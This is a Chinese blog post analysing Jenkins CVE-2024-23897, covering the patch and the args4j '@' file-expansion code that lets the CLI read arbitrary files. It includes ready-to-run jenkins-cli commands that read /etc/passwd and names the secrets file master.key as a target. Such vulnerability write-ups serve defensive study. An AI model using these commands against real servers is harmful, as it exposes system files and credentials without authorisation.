浅析Jenkis任意文件读取-CVE-2024-23897

admin 2024年10月29日00:30:56评论14 views字数 3444阅读11分28秒阅读模式

浅析Jenkis任意文件读取(CVE-2024-23897)

很久没更新博客了,还是浅浅更新一下

补丁分析

首先从官方公告可以看到漏洞其实来源于CLI工具,同时可以看到用户拥有(Overall/Read)权限可以读取整个文件,而如果没有权限则仅能读取第一行

浅析Jenkis任意文件读取-CVE-2024-23897

同时从commit可以看出[SECURITY-3314] · jenkinsci/jenkins@554f037 ,主要对CLICommand.java做了修改,禁止使用@符号,那么接下来我们便看看解析的时候是如何处理@符号

org.kohsuke.args4j.CmdLineParser#parseArgument中,调用了expandAtFiles方法,从名字就能看出是处理@符号

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061
public void parseArgument(String... args) throws CmdLineException {        Utilities.checkNonNull(args, "args");        String[] expandedArgs = args;        if (this.parserProperties.getAtSyntax()) {            expandedArgs = this.expandAtFiles(args);        }        CmdLineImpl cmdLine = new CmdLineImpl(expandedArgs);        Set<OptionHandler> present = new HashSet();        int argIndex = 0;        while(cmdLine.hasMore()) {            String arg = cmdLine.getCurrentToken();            if (!this.isOption(arg)) {                if (argIndex >= this.arguments.size()) {                    Messages msg = this.arguments.size() == 0 ? Messages.NO_ARGUMENT_ALLOWED : Messages.TOO_MANY_ARGUMENTS;                    throw new CmdLineException(this, msg, new String[]{arg});                }                this.currentOptionHandler = (OptionHandler)this.arguments.get(argIndex);                if (this.currentOptionHandler == null) {                    throw new IllegalStateException("@Argument with index=" + argIndex + " is undefined");                }                if (!this.currentOptionHandler.option.isMultiValued()) {                    ++argIndex;                }            } else {                boolean isKeyValuePair = arg.contains(this.parserProperties.getOptionValueDelimiter()) || arg.indexOf(61) != -1;                this.currentOptionHandler = isKeyValuePair ? this.findOptionHandler(arg) : this.findOptionByName(arg);                if (this.currentOptionHandler == null) {                    throw new CmdLineException(this, Messages.UNDEFINED_OPTION, new String[]{arg});                }                if (isKeyValuePair) {                    cmdLine.splitToken();                } else {                    cmdLine.proceed(1);                }            }            int diff = this.currentOptionHandler.parseArguments(cmdLine);            cmdLine.proceed(diff);            present.add(this.currentOptionHandler);        }        boolean helpSet = false;        Iterator i$ = this.options.iterator();        while(i$.hasNext()) {            OptionHandler handler = (OptionHandler)i$.next();            if (handler.option.help() && present.contains(handler)) {                helpSet = true;            }        }        if (!helpSet) {            this.checkRequiredOptionsAndArguments(present);        }    }

expandAtFiles中如果参数以@开头就会读取@后对应的文件,并将内容添加到数组result返回

12345678910111213141516171819202122232425
private String[] expandAtFiles(String[] args) throws CmdLineException {    List<String> result = new ArrayList();    String[] arr$ = args;    int len$ = args.length;    for(int i$ = 0; i$ < len$; ++i$) {        String arg = arr$[i$];        if (arg.startsWith("@")) {            File file = new File(arg.substring(1));            if (!file.exists()) {                throw new CmdLineException(this, Messages.NO_SUCH_FILE, new String[]{file.getPath()});            }            try {                result.addAll(readAllLines(file));            } catch (IOException var9) {                throw new CmdLineException(this, "Failed to parse " + file, var9);            }        } else {            result.add(arg);        }    }    return (String[])result.toArray(new String[result.size()]);}

继续回到CLICommand,可以看到在解析前有鉴权处理,但如果命令是HelpCommand\WhoAmICommand的实例那么就不需要权限

123456789
sc = SecurityContextHolder.getContext();old = sc.getAuthentication();Authentication auth;sc.setAuthentication(auth = this.getTransportAuthentication2());if (!(this instanceof HelpCommand) && !(this instanceof WhoAmICommand)) {    Jenkins.get().checkPermission(Jenkins.READ);}p.parseArgument((String[])args.toArray(new String[0]));

因此执行java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ help @/etc/passwd

java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ who-am-i @/etc/passwd

浅析Jenkis任意文件读取-CVE-2024-23897

当然其实其他指令也是可以的,有了文件读取我们其实能做的就很多了,最常见的读取/var/jenkins_home/secrets/ master.key,当然可能在其他目录下,这时候我们可以读取/proc/self/cmdline读取启动

浅析Jenkis任意文件读取-CVE-2024-23897

当然后利用不是这篇文章的主题,有空网上多百度看看文章即可

参考链接

https://www.openwall.com/lists/oss-security/2024/01/24/6

https://www.openwall.com/lists/oss-security/2024/01/24/6

- source:y4tacker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:30:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析Jenkis任意文件读取-CVE-2024-23897https://cn-sec.com/archives/3314498.html

发表评论

匿名网友 填写信息